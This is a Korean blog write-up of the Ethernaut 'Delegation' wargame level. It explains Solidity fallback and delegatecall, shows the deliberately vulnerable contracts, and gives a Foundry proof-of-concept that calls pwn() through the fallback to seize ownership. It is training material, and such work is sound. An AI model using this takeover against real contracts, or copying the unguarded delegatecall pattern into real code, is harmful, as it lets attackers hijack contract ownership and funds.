The Ethernaut : Delegate

세인·2025년 12월 3일

fallback(bytes calldata input) external [payable]

  • 컨트랙트에 없는 함수를 호출하거나, 데이터를 포함한 호출이 왔을 때 실행됨.
  • msg.data가 뭔지 확인해서 처리.

DELEGATECALL

보통 함수 호출은 "다른 컨트랙트의 함수"를 그 컨트랙트의 저장소(Storage) 를 기준으로 실함

하지만 delegatecall은 → 다른 컨트랙트의 코드를 빌려오되, 실행은 현재 컨트랙트의 저장소를 기준으로 실행.

👉 즉, 코드는 빌려오고, 데이터는 내 것(호출한 쪽 것)을 씀

특징

  • delegatecall을 쓰면 호출한 함수가 실행되면서 호출한 쪽 컨트랙트(A)의 상태 변수가 바뀜
  • 따라서 value(이더) 전송은 불가능
  • 잘못 쓰면 의도치 않게 상태 변수가 변경될 수 있어 위험함
  • 프록시 패턴(Proxy contract)에서 자주 쓰임 → 업그레이드 가능한 컨트랙트를 만들 때 핵심 기술

문제 코드

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {
    address public owner;

    constructor(address _owner) {
        owner = _owner;
    }

    function pwn() public {
        owner = msg.sender;
    }
}

contract Delegation {
    address public owner;
    Delegate delegate;

    constructor(address _delegateAddress) {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }

    fallback() external {
        (bool result,) = address(delegate).delegatecall(msg.data);
        if (result) {
            this;
        }
    }
}

로직 정리

  1. 문제 목표 : Delegation의 주소가 target으로 주어진 상황에서 owner를 따야 함
  2. 이때 fallback을 통해서 Delegate 컨트랙트를 delegatecall로 호출함
  3. 그러면 pwn() 함수를 바로 Delegate(target).pwn()과 같은 형식으로 호출할 수 있음
  4. msg.sender가 owner가 됨

PoC

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";
import {Delegate, Delegation} from "../src/Delegation.sol";

contract PoC is Script {
    address public target = 0x2184e82B07e0B900127b5c64d4eA124085D9F380;
    uint256 pk = vm.envUint("PRIV_KEY");

    function run() public {
        vm.startBroadcast(pk);
        Delegate(target).pwn();

        vm.stopBroadcast();
    }
}
profile
세종과학기지 세인지부

0개의 댓글